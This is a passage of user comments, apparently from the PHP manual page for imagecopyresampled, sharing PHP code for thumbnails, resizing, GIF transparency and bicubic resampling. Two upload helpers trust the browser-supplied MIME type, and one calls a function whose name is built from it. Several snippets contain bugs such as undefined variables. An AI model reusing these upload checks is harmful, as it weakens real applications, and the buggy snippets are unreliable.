    function __toString() {
            return $this->thumbnail;
    }
}

********
* DEMO *
********
$thumb = new thumbnail('./image_dir/sub_dir/myimage.jpg',100,100);
echo '<img src=\''.$thumb.'\' alt=\'myimage\' title=\'myimage\'/>';

    ?>
zuegs 01-Apr-2009 07:52
Resampling GIFs and retain transparency dosen't work always, as dependent on the resample factor the resulting resampled image has some pattern-noise that prevents "imagegif" to find all the transparent-pixels.
One way to fix this, is to reset all pixels with high alpha to full-transparent:
<?php
// load/create images
$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);
imagealphablending($img_dst, false);

// get and reallocate transparency-color
$transindex = imagecolortransparent($img_src);
if($transindex >= 0) {
  $transcol = imagecolorsforindex($img_src, $transindex);
  $transindex = imagecolorallocatealpha($img_dst, $transcol['red'], $transcol['green'], $transcol['blue'], 127);
  imagefill($img_dst, 0, 0, $transindex);
}

// resample
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

// restore transparency
if($transindex >= 0) {
  imagecolortransparent($img_dst, $transindex);
  for($y=0; $y<$g_ih; ++$y)
    for($x=0; $x<$g_iw; ++$x)
      if(((imagecolorat($img_dst, $x, $y)>>24) & 0x7F) >= 100) imagesetpixel($img_dst, $x, $y, $transindex);

// save GIF
imagetruecolortopalette($img_dst, true, 255);
imagesavealpha($img_dst, false);
imagegif($img_dst, $g_dstfile);
imagedestroy($img_dst);
?>
Warren 18-Jan-2009 08:15
This is a function I wrote for making thumbnails -  it will accept a source *image resource* and destination *path*, plus the max dimension and whether the thumbnail should be square.

I chose to accept a resource as the source to make it a bit more efficient to create multiple sizes. For example:

<?php
$src_im=@imagecreatefromjpeg($pathtofile);
$large = resize($src_im,$destination_large,1024);
@imagedestroy($src_im);
$medium = resize($large,$destination_medium,500);
@imagedestroy($large);
$small = resize($medium,$destination_small,125);
@imagedestroy($medium);
$square = resize($small,$destination_square,75,TRUE);
@imagedestroy($small);
@imagedestroy($square);

function resize($src_im, $dpath, $maxd, $square=false) {
    $src_width = imagesx($src_im);
    $src_height = imagesy($src_im);
    $src_w=$src_width;
    $src_h=$src_height;
    $src_x=0;
    $src_y=0;
    if($square){
        $dst_w = $maxd;
        $dst_h = $maxd;
        if($src_width>$src_height){
            $src_x = ceil(($src_width-$src_height)/2);
            $src_w=$src_height;
            $src_h=$src_height;
        }else{
            $src_y = ceil(($src_height-$src_width)/2);
            $src_w=$src_width;
            $src_h=$src_width;
        }
    }else{
        if($src_width>$src_height){
            $dst_w=$maxd;
            $dst_h=floor($src_height*($dst_w/$src_width));
        }else{
            $dst_h=$maxd;
            $dst_w=floor($src_width*($dst_h/$src_height));
        }
    }
    $dst_im=@imagecreatetruecolor($dst_w,$dst_h);
    @imagecopyresampled($dst_im, $src_im, 0, 0, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);
    @imagejpeg($dst_im,$dpath);
    return $dst_im;
}
?>
MBorgPL at gmail dot com 28-Dec-2008 07:53
Another addition to zorroswordsman at gmail dot com's resize class.

The function takes $_FILES['sent_image'] as 1st parameter. The 2nd is complete destination path.

It only moves images.

It returns destination path if succeeded, and false if any error occurred.

<?php
public function move_image($tmp_img, $dest_img)
{
    //verifies if the uploaded file is an image
    if (strpos($tmp_img['type'], 'image') !== false)
        {
        //moves the uploaded file into the destination place
        if (move_uploaded_file($tmp_img['tmp_name'], $dest_img)) {
            return $dest_img;
        }
    }
    return false;
}
?>
MBorg_PL 28-Dec-2008 12:39
Another tiny ammendment to zorroswordsman at gmail dot com's resize class AND matt at rees-jenkins dot co dot uk addition. The class may resize to different width and height not only same ones:

<?php
// Set maximum image size (pixels)
public function set_size($max_x = 100,$max_y = 100)
{

    // Resize
    if($this->x_input > $max_x || $this->y_input > $max_y)
    {

        $a= $max_x / $max_y;
        $b= $this->x_input / $this->y_input;

        if ($a<$b)
        {

            $this->x_output = $max_x;
            $this->y_output = ($max_x / $this->x_input) * $this->y_input;

        }
        else
        {

            $this->y_output = $max_y;
            $this->x_output = ($max_y / $this->y_input) * $this->x_input;

        }
        // Ready

        $this->resize = TRUE;

    }

    // Don't resize
    else { $this->resize = FALSE; }

}
?>

And the use of the class is now:

<?php

##### DEMO #####

// Image
$src = "myimage.jpg";

// Begin
$img = new imaging;
$img->set_img($src);
$img->set_quality(80);

// Small thumbnail
$img->set_size(250,150);
$img->save_img("small_250x150_" . $src);

// Baby thumbnail
$img->set_size(50,250);
$img->save_img("baby_50x250_" . $src);

// Finalize
$img->clear_cache();

?>
matt at rees-jenkins dot co dot uk 14-Oct-2008 12:32
A tiny ammendment to zorroswordsman at gmail dot com's resize class. It was only resizing if both the width AND height where greater than the desired size. This should fix it:

<?php
// Set maximum image size (pixels)
function set_size($size = 100)
{
    // Resize
    if($this->x_input > $size || $this->y_input > $size)
    {
        // Wide
        if($this->x_input >= $this->y_input)
        {
            $this->x_output = $size;
            $this->y_output = ($this->x_output / $this->x_input) * $this->y_input;
        }
        // Tall
        else
        {
            $this->y_output = $size;
            $this->x_output = ($this->y_output / $this->y_input) * $this->x_input;
        }
        // Ready
        $this->resize = TRUE;
    }
    // Don't resize
    else { $this->resize = FALSE; }
}
?>
zorroswordsman at gmail dot com 25-Sep-2008 04:46
I've created a PHP5 image resize class, using ImageCopyResampled, that someone might find useful, with support for JPEG, PNG, and GIF formats. It retains the original image's aspect ratio when resizing, and doesn't resize or resample if the original width and height is smaller then the desired resize.

<?php

// Imaging
class imaging
{

    // Variables
    private $img_input;
    private $img_output;
    private $img_src;
    private $format;
    private $quality = 80;
    private $x_input;
    private $y_input;
    private $x_output;
    private $y_output;
    private $resize;

    // Set image
    public function set_img($img)
    {

        // Find format
        $ext = strtoupper(pathinfo($img, PATHINFO_EXTENSION));

        // JPEG image
        if(is_file($img) && ($ext == "JPG" OR $ext == "JPEG"))
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromJPEG($img);
            $this->img_src = $img;

        }

        // PNG image
        elseif(is_file($img) && $ext == "PNG")
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromPNG($img);
            $this->img_src = $img;

        }

        // GIF image
        elseif(is_file($img) && $ext == "GIF")
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromGIF($img);
            $this->img_src = $img;

        }

        // Get dimensions
        $this->x_input = imagesx($this->img_input);
        $this->y_input = imagesy($this->img_input);

    }

    // Set maximum image size (pixels)
    public function set_size($size = 100)
    {

        // Resize
        if($this->x_input > $size && $this->y_input > $size)
        {

            // Wide
            if($this->x_input >= $this->y_input)
            {

                $this->x_output = $size;
                $this->y_output = ($this->x_output / $this->x_input) * $this->y_input;

            }

            // Tall
            else
            {

                $this->y_output = $size;
                $this->x_output = ($this->y_output / $this->y_input) * $this->x_input;

            }

            // Ready
            $this->resize = TRUE;

        }

        // Don't resize
        else { $this->resize = FALSE; }

    }

    // Set image quality (JPEG only)
    public function set_quality($quality)
    {

        if(is_int($quality))
        {

            $this->quality = $quality;

        }

    }

    // Save image
    public function save_img($path)
    {

        // Resize
        if($this->resize)
        {

            $this->img_output = ImageCreateTrueColor($this->x_output, $this->y_output);
            ImageCopyResampled($this->img_output, $this->img_input, 0, 0, 0, 0, $this->x_output, $this->y_output, $this->x_input, $this->y_input);

        }

        // Save JPEG
        if($this->format == "JPG" OR $this->format == "JPEG")
        {

            if($this->resize) { imageJPEG($this->img_output, $path, $this->quality); }
            else { copy($this->img_src, $path); }

        }

        // Save PNG
        elseif($this->format == "PNG")
        {

            if($this->resize) { imagePNG($this->img_output, $path); }
            else { copy($this->img_src, $path); }

        }

        // Save GIF
        elseif($this->format == "GIF")
        {

            if($this->resize) { imageGIF($this->img_output, $path); }
            else { copy($this->img_src, $path); }

        }

    }

    // Get width
    public function get_width()
    {

        return $this->x_input;

    }

    // Get height
    public function get_height()
    {

        return $this->y_input;

    }

    // Clear image cache
    public function clear_cache()
    {

        @ImageDestroy($this->img_input);
        @ImageDestroy($this->img_output);

    }

}

##### DEMO #####

// Image
$src = "myimage.jpg";

// Begin
$img = new imaging;
$img->set_img($src);
$img->set_quality(80);

// Small thumbnail
$img->set_size(200);
$img->save_img("small_" . $src);

// Baby thumbnail
$img->set_size(50);
$img->save_img("baby_" . $src);

// Finalize
$img->clear_cache();

?>
crash 12-Aug-2008 03:49
The suggestion of converting a gif to a png to retain transparency was useful. However the steps used to maintain the transparency work for a gif as well, so the conversion step is not necessary. Just do everything the same, and save as a gif anyway. i.e.

<?php
$g_iw is new image width
$g_ih is new image height

$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);

//preserve alpha
imagecolortransparent($img_dst, imagecolorallocate($img_dst, 0, 0, 0));
imagealphablending($img_dst, false);
imagesavealpha($img_dst, true);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

imagegif($img_dst, $g_dstfile);
imagedestroy($img_dst);
?>
swizec at swizec dot com 17-Jul-2008 11:20
Wrote a function for sanitising user uploaded images. It saves the native image in size roughly 800x600 so it still fits on most screens when opened, makes a desired size thumbnail and turns all images into high quality jpegs for smaller bandwidth use.

Thumbnails are made in a similar way a designer would make them in photoshop, first resize the most troublesome dimension to desired size, then crop the rest out so the image retains proportions and most of it ends up in the thumbnail.

<?php

// $image is $_FILES[ <image name> ]
// $imageId is the id used in a database or wherever for this image
// $thumbWidth and $thumbHeight are desired dimensions for the thumbnail
function processImage( $image, $imageId, $thumbWidth, $thumbHeight )
{
    $type = $image[ 'type' ];
    $galleryPath = 'images/collection/';

    if ( strpos( $type, 'image/' ) === FALSE )
    { // not an image
        return FALSE;
    }
    $type = str_replace( 'image/', '', $type );
    $createFunc = 'imagecreatefrom' . $type;

    $im = $createFunc( $image[ 'tmp_name' ] );

    $size = getimagesize( $image[ 'tmp_name' ] );

    $w = $size[ 0 ];
    $h = $size[ 1 ];
    if ( $w > 800 || $h > 600 )
    { // we make sure the image isn't too huge
        if ( $w > 800 )
        {
            $nw = 800;
            $nh = ceil( $nw*($h/$w) );
        }elseif( $h > 600 )
        {
            $nh = 600;
            $nw = ceil( $nh*($w/$h) );
        }

        $im2 = imagecreatetruecolor( $nw, $nh );
        imagecopyresampled( $im2, $im, 0, 0, 0, 0, $nw, $nh, $w, $h );
        imagedestroy( $im );

        $im = $im2;
        $w = $nw;
        $h = $nh;
    }

    // create thumbnail
    $tw = $thumbWidth;
    $th = $thumbHeight;
    $imT = imagecreatetruecolor( $tw, $th );

    if ( $tw/$th > $th/$tw )
    { // wider
        $tmph = $h*($tw/$w);
        $temp = imagecreatetruecolor( $tw, $tmph );
        imagecopyresampled( $temp, $im, 0, 0, 0, 0, $tw, $tmph, $w, $h ); // resize to width
        imagecopyresampled( $imT, $temp, 0, 0, 0, $tmph/2-$th/2, $tw, $th, $tw, $th ); // crop
        imagedestroy( $temp );
    }else
    { // taller
        $tmpw = $w*($th/$h );
        $imT = imagecreatetruecolor( $tmpw, $th );
        imagecopyresampled( $imT, $im, 0, 0, 0, 0, $tmpw, $h, $w, $h ); // resize to height
        imagecopyresampled( $imT, $temp, 0, 0, $tmpw/2-$tw/2, 0, $tw, $th, $tw, $th ); // crop
        imagedestroy( $temp );
    }

    // save the image
    imagejpeg( $im, $galleryPath . $imgid . '.jpg', 100 );
    imagejpeg( $imT, $galleryPath . $imgid . '_thumb.jpg', 100 );
}

?>
mattura gmail com 19-May-2008 07:53
Here's a little function I wrote to resize images to a maximum dimension - based on what facebook does in the galleries. You put in a source, destination and a maximum dimension in pixels (eg 300), and for example if the image is long and thin, the longest edge will be 300px, yet the image retains proportions. A square image will become 300x300, a 6x4 (landscape) will become 300x200, a 4x6 (portrait) - 200x300 etc.
It works on jpg images, but other formats can easily be added.
<?php
function createThumb($spath, $dpath, $maxd) {
 $src=@imagecreatefromjpeg($spath);
 if (!$src) {return false;} else {
  $srcw=imagesx($src);
  $srch=imagesy($src);
  if ($srcw<$srch) {$height=$maxd;$width=floor($srcw*$height/$srch);}
  else {$width=$maxd;$height=floor($srch*$width/$srcw);}
  if ($width>$srcw && $height>$srch) {$width=$srcw;$height=$srch;}  //if image is actually smaller than you want, leave small (remove this line to resize anyway)
  $thumb=imagecreatetruecolor($width, $height);
  if ($height<100) {imagecopyresized($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));}
  else {imagecopyresampled($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));}
  imagejpeg($thumb, $dpath);
  return true;
 }
}
?>
bobbyboyojones at hotmail dot com 18-Mar-2008 08:41
I hated that enlarging an image resulted in giant pixels rather than a smoother look, so I wrote this function.  It takes longer, but gives a much nicer look.

<?php

function imagecopyresampledSMOOTH(&$dst_img, &$src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h, $mult=1.25){
    // don't use a $mult that's too close to an int or this function won't make much of a difference

    $tgt_w = round($src_w * $mult);
    $tgt_h = round($src_h * $mult);

    // using $mult <= 1 will make the current step w/h smaller (or the same), don't allow this, always resize by at least 1 pixel larger
    if($tgt_w <= $src_w){ $tgt_w += 1; }
    if($tgt_h <= $src_h){ $tgt_h += 1; }

    // if the current step w/h is larger than the final height, adjust it back to the final size
    // this check also makes it so that if we are doing a resize to smaller image, it happens in one step (since that's already smooth)
    if($tgt_w > $dst_w){ $tgt_w = $dst_w; }
    if($tgt_h > $dst_h){ $tgt_h = $dst_h; }

    $tmpImg = imagecreatetruecolor($tgt_w, $tgt_h);

    imagecopyresampled($tmpImg, $src_img, 0, 0, $src_x, $src_y, $tgt_w, $tgt_h, $src_w, $src_h);
    imagecopy($dst_img, $tmpImg, $dst_x, $dst_y, 0, 0, $tgt_w, $tgt_h);
    imagedestroy($tmpImg);

    // as long as the final w/h has not been reached, reep on resizing
    if($tgt_w < $dst_w OR $tgt_h < $dst_h){
        imagecopyresampledSMOOTH($dst_img, $dst_img, $dst_x, $dst_y, $dst_x, $dst_y, $dst_w, $dst_h, $tgt_w, $tgt_h, $mult);
    }
}

?>
arnar at netvistun dot is 16-Mar-2008 07:58
A small thumb script. Lets you specify max height and width. The thumb will always be of a rectangular shape while the image itself retains it's proportions. Very clean.

<?php
// The file
$filename = 'a.jpg';

// Set a maximum height and width
$width = 80;
$height = 80;

$thumbsize = 80;

// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width_orig, $height_orig) = getimagesize($filename);

$ratio_orig = $width_orig/$height_orig;

if ($width/$height > $ratio_orig) {
   $width = $height*$ratio_orig;
} else {
   $height = $width/$ratio_orig;
}

// Resample
$image_p = imagecreatetruecolor($thumbsize, $thumbsize);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, -($width/2) + ($thumbsize/2), -($height/2) + ($thumbsize/2), 0, 0, $width, $height, $width_orig, $height_orig);

// Output
imagejpeg($image_p, null, 100);
?>
rayg at daylongraphics dot com 07-Mar-2008 11:45
Here's a simple function to resample one JPEG imagefile to another while keeping aspect ratio of the source within the destination's dimensions. You can also tune the allowable distortion if you end up making too many thumbnails with thin blank areas around them. Should work when enlarging images too. Function returns true if it worked, false if not.

function resample_picfile($src, $dst, $w, $h)
{
    // If distortion stretching is within the range below,
    // then let image be distorted.
    $lowend = 0.8;
    $highend = 1.25;

    $src_img = imagecreatefromjpeg($src);
    if($src_img)
    {
        $dst_img = ImageCreateTrueColor($w, $h);
        /* if you don't want aspect-preserved images
to have a black bkgnd, fill $dst_img with the color of your choice here.
        */

        if($dst_img)
        {
            $src_w = imageSX($src_img);
            $src_h = imageSY($src_img);

            $scaleX = (float)$w / $src_w;
            $scaleY = (float)$h / $src_h;
            $scale = min($scaleX, $scaleY);

            $dstW = $w;
            $dstH = $h;
            $dstX = $dstY = 0;

            $scaleR = $scaleX / $scaleY;
            if($scaleR < $lowend || $scaleR > $highend)
            {
                $dstW = (int)($scale * $src_w + 0.5);
                $dstH = (int)($scale * $src_h + 0.5);

                // Keep pic centered in frame.
                $dstX = (int)(0.5 * ($w - $dstW));
                $dstY = (int)(0.5 * ($h - $dstH));
            }

            imagecopyresampled(
                $dst_img, $src_img, $dstX, $dstY, 0, 0,
                $dstW, $dstH, $src_w, $src_h);
            imagejpeg($dst_img, $dst);
            imagedestroy($dst_img);
        }
        imagedestroy($src_img);
        return file_exists($dst);
    }
    return false;
}
RandomFeatureRequest 02-Mar-2008 04:51
If anyone felt like implementing Bicubic Sharper and/or Bicubic Smoother, that would seriously rock.
wm at violet dot bg 20-Feb-2008 10:16
This is a fixed version of ImageCopyResampledBicubic posted by liviu.malaescu
The original version wasn't respecting src_x & src_y args

<?php
    function ImageCopyResampledBicubic(&$dst_image, &$src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)  {
        // we should first cut the piece we are interested in from the source
        $src_img = ImageCreateTrueColor($src_w, $src_h);
        imagecopy($src_img, $src_image, 0, 0, $src_x, $src_y, $src_w, $src_h);

        // this one is used as temporary image
        $dst_img = ImageCreateTrueColor($dst_w, $dst_h);

        ImagePaletteCopy($dst_img, $src_img);
        $rX = $src_w / $dst_w;
        $rY = $src_h / $dst_h;
        $w = 0;
        for ($y = 0; $y < $dst_h; $y++)  {
            $ow = $w; $w = round(($y + 1) * $rY);
            $t = 0;
            for ($x = 0; $x < $dst_w; $x++)  {
                $r = $g = $b = 0; $a = 0;
                $ot = $t; $t = round(($x + 1) * $rX);
                for ($u = 0; $u < ($w - $ow); $u++)  {
                    for ($p = 0; $p < ($t - $ot); $p++)  {
                        $c = ImageColorsForIndex($src_img, ImageColorAt($src_img, $ot + $p, $ow + $u));
                        $r += $c['red'];
                        $g += $c['green'];
                        $b += $c['blue'];
                        $a++;
                    }
                }
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img, $r / $a, $g / $a, $b / $a));
            }
        }

        // apply the temp image over the returned image and use the destination x,y coordinates
        imagecopy($dst_image, $dst_img, $dst_x, $dst_y, 0, 0, $dst_w, $dst_h);

        // we should return true since ImageCopyResampled/ImageCopyResized do it
        return true;
    }
?>
Michael Shepanski 15-Jan-2008 07:09
Here is a function I thought I would share that will resample and copy an image with rounded corners.

<?php
/** ------------------------------------------------------------
 * Copy and resample an image with rounded corners.
 * ----------------------------------------------------------- */
function imageRoundedCopyResampled(&$dstimg, &$srcimg, $dstx, $dsty, $srcx,
                                   $srcy, $dstw, $dsth, $srcw, $srch, $radius) {
    # Resize the Source Image
    $srcResized = imagecreatetruecolor($dstw, $dsth);
    imagecopyresampled($srcResized, $srcimg, 0, 0, $srcx, $srcy,
                       $dstw, $dsth, $srcw, $srch);
    # Copy the Body without corners
    imagecopy($dstimg, $srcResized, $dstx+$radius, $dsty,
              $radius, 0, $dstw-($radius*2), $dsth);
    imagecopy($dstimg, $srcResized, $dstx, $dsty+$radius,
              0, $radius, $dstw, $dsth-($radius*2));
    # Create a list of iterations; array(array(X1, X2, CenterX, CenterY), ...)
    # Iterations in order are: Top-Left, Top-Right, Bottom-Left, Bottom-Right
    $iterations = array(
        array(0, 0, $radius, $radius),
        array($dstw-$radius, 0, $dstw-$radius, $radius),
        array(0, $dsth-$radius, $radius, $dsth-$radius),
        array($dstw-$radius, $dsth-$radius, $dstw-$radius, $dsth-$radius)
    );
    # Loop through each corner 'iteration'
    foreach($iterations as $iteration) {
        list($x1,$y1,$cx,$cy) = $iteration;
        for ($y=$y1; $y<=$y1+$radius; $y++) {
            for ($x=$x1; $x<=$x1+$radius; $x++) {
                # If length (X,Y)->(CX,CY) is less then radius draw the point
                $length = sqrt(pow(($cx - $x), 2) + pow(($cy - $y), 2));
                if ($length < $radius) {
                    imagecopy($dstimg, $srcResized, $x+$dstx, $y+$dsty,
                              $x, $y, 1, 1);
                }
            }
        }
    }
}
?>
matt1walsh DESPAMMER gmail dot com 20-Nov-2007 04:15
None of the stuff I've seen for resizing transparent GIFs works consistently and yields a good image. The hack I thought of is silly, but it works okay -- convert GIF to PNG. This worked for me.

$g_iw is new image width
$g_ih is new image height

$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);

//preserve alpha
imagecolortransparent($img_dst, imagecolorallocate($img_dst, 0, 0, 0));
imagealphablending($img_dst, false);
imagesavealpha($img_dst, true);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

imagepng($img_dst, $g_dstfile);
imagedestroy($img_dst);
Dave McCourt 12-Nov-2007 02:32
This function is taken from lots of web sources so thanks to all for posting. It creates square or landscape thumbnails from .jpgs  from either portait or landscape original images. I decide in advance which way I want the thumbs to display for consistency. I usually sharpen the images as well post-upload, to save on server resources. I can post this code if anyone wants it. I hope this helps someone...

    # create thumbnails from jpgs
    # usage:
    # create_jpgthumb(uploaded file, final file (with path), thumb height, thumb width, jpg quality, scale thumb (true) or fixed size (false);
    function create_jpgthumb($original, $thumbnail, $max_width, $max_height, $quality, $scale = true) {

        list ($src_width, $src_height, $type, $w) = getimagesize($original);

        if (!$srcImage = @imagecreatefromjpeg($original)) {
            return false;
        }

        # image resizes to natural height and width
        if ($scale == true) {

            if ($src_width > $src_height ) {
                $thumb_width = $max_width;
                $thumb_height = floor($src_height * ($max_width / $src_width));
            } else if ($src_width < $src_height ) {
                $thumb_height = $max_height;
                $thumb_width = floor($src_width * ($max_height / $src_height));
            } else {
                $thumb_width = $max_height;
                $thumb_height = $max_height;
            }

            if (!@$destImage = imagecreatetruecolor($thumb_width, $thumb_height)) {
                return false;
            }

            if (!@imagecopyresampled($destImage, $srcImage, 0, 0, 0, 0, $thumb_width, $thumb_height, $src_width, $src_height)) {
                return false;
            }

        # image is fixed to supplied width and height and cropped
        } else if ($scale == false) {

            $ratio = $max_width / $max_height;

            # thumbnail is landscape
             if ($ratio > 1) {

                # uploaded pic is landscape
                if ($src_width > $src_height) {

                    $thumb_width = $max_width;
                    $thumb_height = ceil($max_width * ($src_height / $src_width));

                    if ($thumb_height > $max_width) {
                        $thumb_height = $max_width;
                        $thumb_width = ceil($max_width * ($src_width / $src_height));
                    }

                # uploaded pic is portrait
                } else {

                    $thumb_height = $max_width;
                    $thumb_width = ceil($max_width * ($src_height / $src_width));

                    if ($thumb_width > $max_width) {
                        $thumb_width = $max_width;
                        $thumb_height = ceil($max_width * ($src_height / $src_width));
                    }

                    $off_h = ($src_height - $src_width) / 2;

                }

                if (!@$destImage = imagecreatetruecolor($max_width, $max_height)) {
                    return false;
                }

                if (!@imagecopyresampled($destImage, $srcImage, 0, 0, 0, $off_h, $thumb_width, $thumb_height, $src_width, $src_height)) {
                    return false;
                }

            # thumbnail is square
             } else {

                if ($src_width > $src_height) {
                    $off_w = ($src_width - $src_height) / 2;
                    $off_h = 0;
                    $src_width = $src_height;
                } else if ($src_height > $src_width) {
                    $off_w = 0;
                    $off_h = ($src_height - $src_width) / 2;
                    $src_height = $src_width;
                } else {
                    $off_w = 0;
                    $off_h = 0;
                }

                if (!@$destImage = imagecreatetruecolor($max_width, $max_height)) {
                    return false;
                }

                if (!@imagecopyresampled($destImage, $srcImage, 0, 0, $off_w, $off_h, $max_width, $max_height, $src_width, $src_height)) {
                    return false;
                }

             }

        }

        @imagedestroy($srcImage);

        if (!@imageantialias($destImage, true)) {
            return false;
        }

        if (!@imagejpeg($destImage, $thumbnail, $quality)) {
            return false;
        }

        @imagedestroy($destImage);

        return true;
    }
tim dot daldini at gmail dot be 04-Oct-2007 05:57
Tim's function is a whole lot faster, however, the quality setting doesnt seem right since resizing very big images doesnt affect quality of the resulting thumbnails that much on quality 1 for example.

Anyone has figured out how to use a more correct quality setting by comparing image surfaces (for example) basing on Tim's function?

images with a total of 10Megapixels that contain 5Megapixels when resized should use the same quality setting like images that contain 1Megapixels but only 0.5 when resized.

Not hard to understand, but the memoryload would be a lot lower if the function could decide to use a setting of quality 1 automatically when resizing big images to small thumbnails. This would be handy especially when using the function for images of various sizes in the same application.
liviu dot malaescu at gmail dot com 25-Sep-2007 09:37
3800x2500px - 2s
3807x6768 - 4.7s
Tested on a core2duo e4300/1gb ram - only one core used.
It reduces first with nearest-neighbour and then with bicubic on the smaller image.
Thumb quality is fine :)

<?php
$cale_in = "test.jpg"; //input-file
$cale_out = "test_thumb.jpg"; //output-file
$make_thumbs = "YES";
$thumbsize[0] = 100;
$thumbsize[1] = 75;
ini_set("memory_limit", "134217728"); // needed for huge pictures

// Bicubic resampling, not written by me
function ImageCopyResampleBicubic
(&$dst_img, &$src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)  {
    ImagePaletteCopy ($dst_img, $src_img);
    $rX = $src_w / $dst_w;
    $rY = $src_h / $dst_h;
    $w = 0;
    for ($y = $dst_y; $y < $dst_h; $y++)  {
        $ow = $w; $w = round(($y + 1) * $rY);
        $t = 0;
        for ($x = $dst_x; $x < $dst_w; $x++)  {
            $r = $g = $b = 0; $a = 0;
            $ot = $t; $t = round(($x + 1) * $rX);
            for ($u = 0; $u < ($w - $ow); $u++)  {
                for ($p = 0; $p < ($t - $ot); $p++)  {
                    $c = ImageColorsForIndex ($src_img,
ImageColorAt ($src_img, $ot + $p, $ow + $u));
                    $r += $c['red'];
                    $g += $c['green'];
                    $b += $c['blue'];
                    $a++;
                }
            }
            ImageSetPixel ($dst_img, $x, $y,
ImageColorClosest ($dst_img, $r / $a, $g / $a, $b / $a));
        }
    }
}

function makeThumb($cale_in)  {
    global $thumbsize;
    $sursa = imagecreatefromjpeg($cale_in);
    $is_jpeg = getimagesize($cale_in);
    $ws = $is_jpeg[0];
    $hs = $is_jpeg[1];
    if($ws > $thumbsize[0] && $hs > $thumbsize[1])
    {
        $aspect = $ws/$hs;
        if($aspect <= 1.333333)  {
            $hd = $thumbsize[1];
            $wd = floor($hd*$aspect);
        }
        else  {
            $wd = $thumbsize[0];
            $hd = floor($wd/$aspect);
        }
        $Z = ceil(log(($ws*$hs)/(4*$thumbsize[0]*$thumbsize[1])))+1;
        if(log(($ws*$hs)/(4*$thumbsize[0]*$thumbsize[1])) < 0) $Z=1;
        $dx = $dy = 0;
        if($Z > 1) {
            $dest = imagecreatetruecolor(round($ws/$Z), round($hs/$Z));
            for($i=0; $i < $hs; $i+=$Z) {
                for($j=0; $j < $ws; $j+=$Z) {
                    $rgb = imagecolorat($sursa, $j, $i);
                    $r = ($rgb >> 16) & 0xFF;
                    $g = ($rgb >> 8) & 0xFF;
                    $b = $rgb & 0xFF;
                    $pcol = imagecolorallocate($dest, $r, $g, $b);
                    imagesetpixel($dest, $dx, $dy, $pcol);
                    $dx++;
                }
                $dx=0;
                $dy++;
            }
        }
        else
        {
            $dest = imagecreatetruecolor($ws, $hs);
            imagecopy($dest, $sursa, 0, 0, 0, 0, $ws, $hs );
        }
        imagedestroy($sursa);
        $destrs = imagecreatetruecolor($wd, $hd);
        ImageCopyResampleBicubic($destrs,$dest,0,0,0,0,
$wd,$hd,round($ws/$Z),round($hs/$Z));
        ImageJpeg($destrs, $cale_out, 100);
        echo "Z:$Z <b>|</b> ($ws x $hs) -> ($wd x $hd) @ ".$ws/$hs;
    }
}

function mf() {
    list($usec, $sec) = explode(" ", microtime());
    $x[0] = $sec;  $x[1] = $usec;
    return $x;
}

$timp1 = mf(); //starting to count
makeThumb($cale_in); //makes the actual thumb
$timp2 = mf(); //timer ends
$dsec = $timp2[0] - $timp1[0];
$dusec = $timp2[1] - $timp1[1];
echo "<b>|</b> Time : <b>".round($dusec+$dsec,6)."s</b> <b>|</b><br />";

?>
tim at leethost dot com 08-Sep-2007 06:25
Here's an improved and corrected version of my fastimagecopyresampled script.  Because I typically scale entire images it appears my previous code was not properly tested.  In any case, this new script has been thoroughly tested, cleaned up, and enhanced.  The code is a little tighter and quality values between 0 and 1 will yield a mosaic effect (basically lowering quality below the pervious lowest value of 1).  I would still suggest using a quality of 2 to 4 as that's the primary purpose of this script, which is high quality and fast results.  Don't be afraid of using a quality value of 1.5 for extreme cases where you have a bunch of very large images from digital cameras (like those 10M pixel cameras theses days) and creating thumbnails in batch mode.  Even a quality of 1.5 is a big improvement over imagecopyresized and is ultra-fast.

Anyway, enjoy and I hope this is the bug-free last version.

<?
function fastimagecopyresampled (&$dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h, $quality = 3) {
  // Plug-and-Play fastimagecopyresampled function replaces much slower imagecopyresampled.
  // Just include this function and change all "imagecopyresampled" references to "fastimagecopyresampled".
  // Typically from 30 to 60 times faster when reducing high resolution images down to thumbnail size using the default quality setting.
  // Author: Tim Eckel - Date: 09/07/07 - Version: 1.1 - Project: FreeRingers.net - Freely distributable - These comments must remain.
  //
  // Optional "quality" parameter (defaults is 3). Fractional values are allowed, for example 1.5. Must be greater than zero.
  // Between 0 and 1 = Fast, but mosaic results, closer to 0 increases the mosaic effect.
  // 1 = Up to 350 times faster. Poor results, looks very similar to imagecopyresized.
  // 2 = Up to 95 times faster.  Images appear a little sharp, some prefer this over a quality of 3.
  // 3 = Up to 60 times faster.  Will give high quality smooth results very close to imagecopyresampled, just faster.
  // 4 = Up to 25 times faster.  Almost identical to imagecopyresampled for most images.
  // 5 = No speedup. Just uses imagecopyresampled, no advantage over imagecopyresampled.

  if (empty($src_image) || empty($dst_image) || $quality <= 0) { return false; }
  if ($quality < 5 && (($dst_w * $quality) < $src_w || ($dst_h * $quality) < $src_h)) {
    $temp = imagecreatetruecolor ($dst_w * $quality + 1, $dst_h * $quality + 1);
    imagecopyresized ($temp, $src_image, 0, 0, $src_x, $src_y, $dst_w * $quality + 1, $dst_h * $quality + 1, $src_w, $src_h);
